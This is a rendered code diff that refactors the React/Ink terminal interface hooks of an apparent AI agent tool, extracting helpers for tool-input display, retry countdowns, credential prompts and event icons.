+
lastStepTokensRef,
|
|
8082
|
+
// Helpers
|
|
8083
|
+
addMessage,
|
|
8084
|
+
resetCumulativeCounters,
|
|
8085
|
+
manageTimer,
|
|
8086
|
+
clearAllTimers
|
|
8087
|
+
};
|
|
8088
|
+
};
|
|
8089
|
+
|
|
8090
|
+
// src/platform/tui/hooks/useAgentEvents.ts
|
|
8091
|
+
import { useEffect } from "react";
|
|
8092
|
+
var useAgentEvents = (agent, eventsRef, state) => {
|
|
8093
|
+
const {
|
|
8094
|
+
addMessage,
|
|
8095
|
+
setCurrentStatus,
|
|
8096
|
+
setRetryState,
|
|
8097
|
+
setCurrentTokens,
|
|
8098
|
+
setStats,
|
|
8099
|
+
lastResponseMetaRef,
|
|
8100
|
+
retryCountdownRef,
|
|
8101
|
+
retryCountRef,
|
|
8102
|
+
tokenAccumRef,
|
|
8103
|
+
lastStepTokensRef,
|
|
8104
|
+
clearAllTimers
|
|
8105
|
+
} = state;
|
|
7882
8106
|
useEffect(() => {
|
|
7883
8107
|
const events = eventsRef.current;
|
|
7884
8108
|
const onToolCall = (e) => {
|
|
7885
8109
|
setCurrentStatus(`Executing: ${e.data.toolName}`);
|
|
7886
|
-
|
|
7887
|
-
try {
|
|
7888
|
-
if (e.data.input && Object.keys(e.data.input).length > 0) {
|
|
7889
|
-
if (e.data.toolName === TOOL_NAMES.RUN_CMD && e.data.input.command) {
|
|
7890
|
-
inputStr = String(e.data.input.command);
|
|
7891
|
-
} else {
|
|
7892
|
-
const str = JSON.stringify(e.data.input);
|
|
7893
|
-
if (str !== "{}") {
|
|
7894
|
-
inputStr = str.length > TUI_DISPLAY_LIMITS.toolInputPreview ? str.substring(0, TUI_DISPLAY_LIMITS.toolInputTruncated) + "..." : str;
|
|
7895
|
-
}
|
|
7896
|
-
}
|
|
7897
|
-
}
|
|
7898
|
-
} catch {
|
|
7899
|
-
}
|
|
8110
|
+
const inputStr = formatToolInput(e.data.toolName, e.data.input);
|
|
7900
8111
|
addMessage("tool", inputStr ? `${e.data.toolName} ${inputStr}` : e.data.toolName);
|
|
7901
8112
|
};
|
|
7902
8113
|
const onToolResult = (e) => {
|
|
@@ -7912,96 +8123,73 @@ var useAgent = (autoApprove, target) => {
|
|
|
7912
8123
|
lastResponseMetaRef.current = { durationMs: e.data.durationMs, tokens: e.data.tokens };
|
|
7913
8124
|
};
|
|
7914
8125
|
const onRetry = (e) => {
|
|
7915
|
-
|
|
7916
|
-
|
|
7917
|
-
|
|
7918
|
-
|
|
7919
|
-
|
|
7920
|
-
|
|
7921
|
-
|
|
7922
|
-
|
|
7923
|
-
remaining -= 1;
|
|
7924
|
-
if (remaining <= 0) {
|
|
7925
|
-
setRetryState((prev) => ({ ...prev, isRetrying: false, countdown: 0 }));
|
|
7926
|
-
if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
|
|
7927
|
-
} else {
|
|
7928
|
-
setRetryState((prev) => ({ ...prev, countdown: remaining }));
|
|
7929
|
-
}
|
|
7930
|
-
}, 1e3);
|
|
8126
|
+
handleRetry(e, addMessage, setRetryState, retryCountdownRef, retryCountRef);
|
|
8127
|
+
};
|
|
8128
|
+
const onThink = (e) => {
|
|
8129
|
+
const t = e.data.thought;
|
|
8130
|
+
setCurrentStatus(t.length > TUI_DISPLAY_LIMITS.statusThoughtPreview ? t.substring(0, TUI_DISPLAY_LIMITS.statusThoughtTruncated) + "..." : t);
|
|
8131
|
+
};
|
|
8132
|
+
const onError = (e) => {
|
|
8133
|
+
addMessage("error", e.data.message || "An error occurred");
|
|
7931
8134
|
};
|
|
7932
8135
|
const onUsageUpdate = (e) => {
|
|
7933
8136
|
const stepTokens = e.data.inputTokens + e.data.outputTokens;
|
|
7934
|
-
if (stepTokens < lastStepTokensRef.current)
|
|
8137
|
+
if (stepTokens < lastStepTokensRef.current) {
|
|
8138
|
+
tokenAccumRef.current += lastStepTokensRef.current;
|
|
8139
|
+
}
|
|
7935
8140
|
lastStepTokensRef.current = stepTokens;
|
|
7936
8141
|
setCurrentTokens(tokenAccumRef.current + stepTokens);
|
|
7937
8142
|
};
|
|
7938
8143
|
setInputHandler((p) => {
|
|
7939
|
-
return new Promise((resolve) =>
|
|
7940
|
-
|
|
7941
|
-
|
|
7942
|
-
|
|
7943
|
-
|
|
7944
|
-
|
|
7945
|
-
|
|
8144
|
+
return new Promise((resolve) => {
|
|
8145
|
+
const isPassword = /password|passphrase/i.test(p);
|
|
8146
|
+
const inputType = /sudo/i.test(p) ? "sudo_password" : isPassword ? "password" : "text";
|
|
8147
|
+
state.setInputRequest({
|
|
8148
|
+
isActive: true,
|
|
8149
|
+
prompt: p.trim(),
|
|
8150
|
+
isPassword,
|
|
8151
|
+
inputType,
|
|
8152
|
+
resolve
|
|
8153
|
+
});
|
|
8154
|
+
});
|
|
7946
8155
|
});
|
|
7947
8156
|
setCredentialHandler((request) => {
|
|
7948
8157
|
return new Promise((resolve) => {
|
|
7949
8158
|
const hiddenTypes = ["password", "sudo_password", "ssh_password", "passphrase", "api_key", "credential"];
|
|
7950
8159
|
const isPassword = hiddenTypes.includes(request.type);
|
|
7951
|
-
|
|
7952
|
-
|
|
7953
|
-
displayPrompt = `${displayPrompt}
|
|
7954
|
-
Context: ${request.context}`;
|
|
7955
|
-
}
|
|
7956
|
-
if (request.optional) {
|
|
7957
|
-
displayPrompt += " (optional - press Enter to skip)";
|
|
7958
|
-
}
|
|
7959
|
-
if (request.options && request.options.length > 0) {
|
|
7960
|
-
displayPrompt += `
|
|
7961
|
-
Options: ${request.options.join(", ")}`;
|
|
7962
|
-
}
|
|
7963
|
-
setInputRequest({
|
|
8160
|
+
const displayPrompt = buildCredentialPrompt(request);
|
|
8161
|
+
state.setInputRequest({
|
|
7964
8162
|
isActive: true,
|
|
7965
8163
|
prompt: displayPrompt,
|
|
7966
8164
|
isPassword,
|
|
7967
8165
|
inputType: request.type,
|
|
7968
8166
|
context: request.context,
|
|
7969
|
-
optional: request.
|
|
8167
|
+
optional: request.isOptional,
|
|
7970
8168
|
options: request.options,
|
|
7971
8169
|
resolve
|
|
7972
8170
|
});
|
|
7973
8171
|
});
|
|
7974
8172
|
});
|
|
7975
8173
|
setCommandEventEmitter((event) => {
|
|
7976
|
-
const
|
|
7977
|
-
[COMMAND_EVENT_TYPES.TOOL_MISSING]: "\u26A0\uFE0F",
|
|
7978
|
-
[COMMAND_EVENT_TYPES.TOOL_INSTALL]: "\u{1F4E6}",
|
|
7979
|
-
[COMMAND_EVENT_TYPES.TOOL_INSTALLED]: "\u2705",
|
|
7980
|
-
[COMMAND_EVENT_TYPES.TOOL_INSTALL_FAILED]: "\u274C",
|
|
7981
|
-
[COMMAND_EVENT_TYPES.TOOL_RETRY]: "\u{1F504}",
|
|
7982
|
-
[COMMAND_EVENT_TYPES.COMMAND_START]: "\u25B6",
|
|
7983
|
-
[COMMAND_EVENT_TYPES.COMMAND_SUCCESS]: "\u2713",
|
|
7984
|
-
[COMMAND_EVENT_TYPES.COMMAND_FAILED]: "\u2717",
|
|
7985
|
-
[COMMAND_EVENT_TYPES.COMMAND_ERROR]: "\u274C",
|
|
7986
|
-
[COMMAND_EVENT_TYPES.INPUT_REQUIRED]: "\u{1F510}"
|
|
7987
|
-
};
|
|
7988
|
-
const icon = icons[event.type] || "\u2022";
|
|
8174
|
+
const icon = getCommandEventIcon(event.type);
|
|
7989
8175
|
const msg = event.detail ? `${icon} ${event.message}
|
|
7990
8176
|
${event.detail}` : `${icon} ${event.message}`;
|
|
7991
8177
|
addMessage("system", msg);
|
|
7992
8178
|
});
|
|
7993
8179
|
const updateStats = () => {
|
|
7994
8180
|
const s = agent.getState();
|
|
7995
|
-
setStats({
|
|
8181
|
+
setStats({
|
|
8182
|
+
phase: agent.getPhase(),
|
|
8183
|
+
targets: s.getTargets().size,
|
|
8184
|
+
findings: s.getFindings().length,
|
|
8185
|
+
todo: s.getTodo().length
|
|
8186
|
+
});
|
|
7996
8187
|
};
|
|
7997
8188
|
events.on(EVENT_TYPES.TOOL_CALL, onToolCall);
|
|
7998
8189
|
events.on(EVENT_TYPES.TOOL_RESULT, onToolResult);
|
|
7999
|
-
events.on(EVENT_TYPES.THINK,
|
|
8000
|
-
const t = e.data.thought;
|
|
8001
|
-
setCurrentStatus(t.length > TUI_DISPLAY_LIMITS.statusThoughtPreview ? t.substring(0, TUI_DISPLAY_LIMITS.statusThoughtTruncated) + "..." : t);
|
|
8002
|
-
});
|
|
8190
|
+
events.on(EVENT_TYPES.THINK, onThink);
|
|
8003
8191
|
events.on(EVENT_TYPES.COMPLETE, onComplete);
|
|
8004
|
-
events.on(EVENT_TYPES.ERROR,
|
|
8192
|
+
events.on(EVENT_TYPES.ERROR, onError);
|
|
8005
8193
|
events.on(EVENT_TYPES.RETRY, onRetry);
|
|
8006
8194
|
events.on(EVENT_TYPES.USAGE_UPDATE, onUsageUpdate);
|
|
8007
8195
|
events.on(EVENT_TYPES.STATE_CHANGE, updateStats);
|
|
@@ -8009,10 +8197,154 @@ Options: ${request.options.join(", ")}`;
|
|
|
8009
8197
|
updateStats();
|
|
8010
8198
|
return () => {
|
|
8011
8199
|
events.removeAllListeners();
|
|
8012
|
-
|
|
8013
|
-
if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
|
|
8200
|
+
clearAllTimers();
|
|
8014
8201
|
};
|
|
8015
|
-
}, [
|
|
8202
|
+
}, [
|
|
8203
|
+
agent,
|
|
8204
|
+
addMessage,
|
|
8205
|
+
setCurrentStatus,
|
|
8206
|
+
setRetryState,
|
|
8207
|
+
setCurrentTokens,
|
|
8208
|
+
setStats,
|
|
8209
|
+
lastResponseMetaRef,
|
|
8210
|
+
retryCountdownRef,
|
|
8211
|
+
retryCountRef,
|
|
8212
|
+
tokenAccumRef,
|
|
8213
|
+
lastStepTokensRef,
|
|
8214
|
+
clearAllTimers,
|
|
8215
|
+
state
|
|
8216
|
+
]);
|
|
8217
|
+
};
|
|
8218
|
+
function formatToolInput(toolName, input) {
|
|
8219
|
+
if (!input || Object.keys(input).length === 0) return "";
|
|
8220
|
+
try {
|
|
8221
|
+
if (toolName === TOOL_NAMES.RUN_CMD && input.command) {
|
|
8222
|
+
return String(input.command);
|
|
8223
|
+
}
|
|
8224
|
+
const str = JSON.stringify(input);
|
|
8225
|
+
if (str === "{}") return "";
|
|
8226
|
+
return str.length > TUI_DISPLAY_LIMITS.toolInputPreview ? str.substring(0, TUI_DISPLAY_LIMITS.toolInputTruncated) + "..." : str;
|
|
8227
|
+
} catch {
|
|
8228
|
+
return "";
|
|
8229
|
+
}
|
|
8230
|
+
}
|
|
8231
|
+
function handleRetry(e, addMessage, setRetryState, retryCountdownRef, retryCountRef) {
|
|
8232
|
+
const delaySec = Math.ceil(e.data.delayMs / 1e3);
|
|
8233
|
+
retryCountRef.current += 1;
|
|
8234
|
+
const retryNum = retryCountRef.current;
|
|
8235
|
+
addMessage("system", `\u27F3 Retry #${retryNum} \xB7 ${e.data.error} \xB7 waiting ${delaySec}s...`);
|
|
8236
|
+
setRetryState({
|
|
8237
|
+
isRetrying: true,
|
|
8238
|
+
attempt: retryNum,
|
|
8239
|
+
maxRetries: e.data.maxRetries,
|
|
8240
|
+
delayMs: e.data.delayMs,
|
|
8241
|
+
error: e.data.error,
|
|
8242
|
+
countdown: delaySec
|
|
8243
|
+
});
|
|
8244
|
+
if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
|
|
8245
|
+
let remaining = delaySec;
|
|
8246
|
+
retryCountdownRef.current = setInterval(() => {
|
|
8247
|
+
remaining -= 1;
|
|
8248
|
+
if (remaining <= 0) {
|
|
8249
|
+
setRetryState((prev) => ({ ...prev, isRetrying: false, countdown: 0 }));
|
|
8250
|
+
if (retryCountdownRef.current) clearInterval(retryCountdownRef.current);
|
|
8251
|
+
} else {
|
|
8252
|
+
setRetryState((prev) => ({ ...prev, countdown: remaining }));
|
|
8253
|
+
}
|
|
8254
|
+
}, 1e3);
|
|
8255
|
+
}
|
|
8256
|
+
function buildCredentialPrompt(request) {
|
|
8257
|
+
let displayPrompt = request.prompt || "Enter input";
|
|
8258
|
+
if (request.context) {
|
|
8259
|
+
displayPrompt = `${displayPrompt}
|
|
8260
|
+
Context: ${request.context}`;
|
|
8261
|
+
}
|
|
8262
|
+
if (request.isOptional) {
|
|
8263
|
+
displayPrompt += " (optional - press Enter to skip)";
|
|
8264
|
+
}
|
|
8265
|
+
if (request.options && request.options.length > 0) {
|
|
8266
|
+
displayPrompt += `
|
|
8267
|
+
Options: ${request.options.join(", ")}`;
|
|
8268
|
+
}
|
|
8269
|
+
return displayPrompt;
|
|
8270
|
+
}
|
|
8271
|
+
function getCommandEventIcon(eventType) {
|
|
8272
|
+
const icons = {
|
|
8273
|
+
[COMMAND_EVENT_TYPES.TOOL_MISSING]: "\u26A0\uFE0F",
|
|
8274
|
+
[COMMAND_EVENT_TYPES.TOOL_INSTALL]: "\u{1F4E6}",
|
|
8275
|
+
[COMMAND_EVENT_TYPES.TOOL_INSTALLED]: "\u2705",
|
|
8276
|
+
[COMMAND_EVENT_TYPES.TOOL_INSTALL_FAILED]: "\u274C",
|
|
8277
|
+
[COMMAND_EVENT_TYPES.TOOL_RETRY]: "\u{1F504}",
|
|
8278
|
+
[COMMAND_EVENT_TYPES.COMMAND_START]: "\u25B6",
|
|
8279
|
+
[COMMAND_EVENT_TYPES.COMMAND_SUCCESS]: "\u2713",
|
|
8280
|
+
[COMMAND_EVENT_TYPES.COMMAND_FAILED]: "\u2717",
|
|
8281
|
+
[COMMAND_EVENT_TYPES.COMMAND_ERROR]: "\u274C",
|
|
8282
|
+
[COMMAND_EVENT_TYPES.INPUT_REQUIRED]: "\u{1F510}"
|
|
8283
|
+
};
|
|
8284
|
+
return icons[eventType] || "\u2022";
|
|
8285
|
+
}
|
|
8286
|
+
|
|
8287
|
+
// src/platform/tui/hooks/useAgent.ts
|
|
8288
|
+
var useAgent = (shouldAutoApprove, target) => {
|
|
8289
|
+
const [agent] = useState2(() => AgentFactory.createMainAgent(shouldAutoApprove));
|
|
8290
|
+
const eventsRef = useRef2(agent.getEventEmitter());
|
|
8291
|
+
const state = useAgentState();
|
|
8292
|
+
const {
|
|
8293
|
+
messages,
|
|
8294
|
+
setMessages,
|
|
8295
|
+
isProcessing,
|
|
8296
|
+
setIsProcessing,
|
|
8297
|
+
currentStatus,
|
|
8298
|
+
elapsedTime,
|
|
8299
|
+
retryState,
|
|
8300
|
+
currentTokens,
|
|
8301
|
+
inputRequest,
|
|
8302
|
+
setInputRequest,
|
|
8303
|
+
stats,
|
|
8304
|
+
lastResponseMetaRef,
|
|
8305
|
+
addMessage,
|
|
8306
|
+
manageTimer,
|
|
8307
|
+
resetCumulativeCounters
|
|
8308
|
+
} = state;
|
|
8309
|
+
useEffect2(() => {
|
|
8310
|
+
if (target) {
|
|
8311
|
+
agent.addTarget(target);
|
|
8312
|
+
agent.setScope([target]);
|
|
8313
|
+
}
|
|
8314
|
+
}, [agent, target]);
|
|
8315
|
+
useAgentEvents(agent, eventsRef, state);
|
|
8316
|
+
const executeTask = useCallback2(async (task) => {
|
|
8317
|
+
setIsProcessing(true);
|
|
8318
|
+
manageTimer("start");
|
|
8319
|
+
state.setCurrentStatus("Thinking");
|
|
8320
|
+
resetCumulativeCounters();
|
|
8321
|
+
try {
|
|
8322
|
+
const response = await agent.execute(task);
|
|
8323
|
+
const meta = lastResponseMetaRef.current;
|
|
8324
|
+
const suffix = meta ? ` ${formatMeta(meta.durationMs || 0, (meta.tokens?.input || 0) + (meta.tokens?.output || 0))}` : "";
|
|
8325
|
+
addMessage("ai", response + suffix);
|
|
8326
|
+
} catch (e) {
|
|
8327
|
+
addMessage("error", e instanceof Error ? e.message : String(e));
|
|
8328
|
+
} finally {
|
|
8329
|
+
manageTimer("stop");
|
|
8330
|
+
setIsProcessing(false);
|
|
8331
|
+
state.setCurrentStatus("");
|
|
8332
|
+
}
|
|
8333
|
+
}, [agent, addMessage, manageTimer, resetCumulativeCounters, setIsProcessing, lastResponseMetaRef, state]);
|
|
8334
|
+
const abort = useCallback2(() => {
|
|
8335
|
+
agent.abort();
|
|
8336
|
+
setIsProcessing(false);
|
|
8337
|
+
manageTimer("stop");
|
|
8338
|
+
state.setCurrentStatus("");
|
|
8339
|
+
addMessage("system", "Interrupted");
|
|
8340
|
+
}, [agent, addMessage, manageTimer, setIsProcessing, state]);
|
|
8341
|
+
const cancelInputRequest = useCallback2(() => {
|
|
8342
|
+
if (inputRequest.isActive && inputRequest.resolve) {
|
|
8343
|
+
inputRequest.resolve(null);
|
|
8344
|
+
setInputRequest({ isActive: false, prompt: "", isPassword: false, resolve: null });
|
|
8345
|
+
addMessage("system", "Input cancelled");
|
|
8346
|
+
}
|
|
8347
|
+
}, [inputRequest, setInputRequest, addMessage]);
|
|
8016
8348
|
return {
|
|
8017
8349
|
agent,
|
|
8018
8350
|
messages,
|
|
@@ -8222,14 +8554,14 @@ var MessageList = ({ messages }) => {
|
|
|
8222
8554
|
import { Box as Box3, Text as Text4 } from "ink";
|
|
8223
8555
|
|
|
8224
8556
|
// src/platform/tui/components/MusicSpinner.tsx
|
|
8225
|
-
import { useState as
|
|
8557
|
+
import { useState as useState3, useEffect as useEffect3 } from "react";
|
|
8226
8558
|
import { Text as Text3 } from "ink";
|
|
8227
8559
|
import { jsx as jsx3 } from "react/jsx-runtime";
|
|
8228
8560
|
var FRAMES = ["\u2669", "\u266A", "\u266B", "\u266C", "\u266B", "\u266A"];
|
|
8229
8561
|
var INTERVAL = 150;
|
|
8230
8562
|
var MusicSpinner = ({ color }) => {
|
|
8231
|
-
const [index, setIndex] =
|
|
8232
|
-
|
|
8563
|
+
const [index, setIndex] = useState3(0);
|
|
8564
|
+
useEffect3(() => {
|
|
8233
8565
|
const timer = setInterval(() => {
|
|
8234
8566
|
setIndex((i) => (i + 1) % FRAMES.length);
|
|
8235
8567
|
}, INTERVAL);
|
|
@@ -8388,9 +8720,9 @@ var footer_default = Footer;
|
|
|
8388
8720
|
import { jsx as jsx7, jsxs as jsxs6 } from "react/jsx-runtime";
|
|
8389
8721
|
var App = ({ autoApprove = false, target }) => {
|
|
8390
8722
|
const { exit } = useApp();
|
|
8391
|
-
const [input, setInput] =
|
|
8392
|
-
const [secretInput, setSecretInput] =
|
|
8393
|
-
const [autoApproveMode, setAutoApproveMode] =
|
|
8723
|
+
const [input, setInput] = useState4("");
|
|
8724
|
+
const [secretInput, setSecretInput] = useState4("");
|
|
8725
|
+
const [autoApproveMode, setAutoApproveMode] = useState4(autoApprove);
|
|
8394
8726
|
const {
|
|
8395
8727
|
agent,
|
|
8396
8728
|
messages,
|
|
@@ -8408,14 +8740,14 @@ var App = ({ autoApprove = false, target }) => {
|
|
|
8408
8740
|
cancelInputRequest,
|
|
8409
8741
|
addMessage
|
|
8410
8742
|
} = useAgent(autoApproveMode, target);
|
|
8411
|
-
const handleExit =
|
|
8743
|
+
const handleExit = useCallback3(() => {
|
|
8412
8744
|
if (inputRequest.isActive && inputRequest.resolve) inputRequest.resolve(null);
|
|
8413
8745
|
cleanupAllProcesses().catch(() => {
|
|
8414
8746
|
});
|
|
8415
8747
|
exit();
|
|
8416
8748
|
setTimeout(() => process.exit(0), DISPLAY_LIMITS.EXIT_DELAY);
|
|
8417
8749
|
}, [exit, inputRequest, cancelInputRequest]);
|
|
8418
|
-
const handleCommand =
|
|
8750
|
+
const handleCommand = useCallback3(async (cmd, args) => {
|
|
8419
8751
|
switch (cmd) {
|
|
8420
8752
|
case UI_COMMANDS.HELP:
|
|
8421
8753
|
case UI_COMMANDS.HELP_SHORT:
|
|
@@ -8497,7 +8829,7 @@ ${procData.stdout || "(no output)"}
|
|
|
8497
8829
|
addMessage("error", `Unknown command: /${cmd}`);
|
|
8498
8830
|
}
|
|
8499
8831
|
}, [agent, addMessage, executeTask, setMessages, handleExit, autoApproveMode]);
|
|
8500
|
-
const handleSubmit =
|
|
8832
|
+
const handleSubmit = useCallback3(async (value) => {
|
|
8501
8833
|
const trimmed = value.trim();
|
|
8502
8834
|
if (!trimmed) return;
|
|
8503
8835
|
setInput("");
|
|
@@ -8509,7 +8841,7 @@ ${procData.stdout || "(no output)"}
|
|
|
8509
8841
|
await executeTask(trimmed);
|
|
8510
8842
|
}
|
|
8511
8843
|
}, [addMessage, executeTask, handleCommand]);
|
|
8512
|
-
const handleSecretSubmit =
|
|
8844
|
+
const handleSecretSubmit = useCallback3((value) => {
|
|
8513
8845
|
if (!inputRequest.isActive || !inputRequest.resolve) return;
|
|
8514
8846
|
const displayText = inputRequest.isPassword ? "\u2022".repeat(value.length) : value;
|
|
8515
8847
|
const promptLabel = inputRequest.prompt || "Input";
|
|
@@ -8525,7 +8857,7 @@ ${procData.stdout || "(no output)"}
|
|
|
8525
8857
|
}
|
|
8526
8858
|
if (key.ctrl && ch === "c") handleExit();
|
|
8527
8859
|
});
|
|
8528
|
-
|
|
8860
|
+
useEffect4(() => {
|
|
8529
8861
|
const onSignal = () => handleExit();
|
|
8530
8862
|
process.on("SIGINT", onSignal);
|
|
8531
8863
|
process.on("SIGTERM", onSignal);
|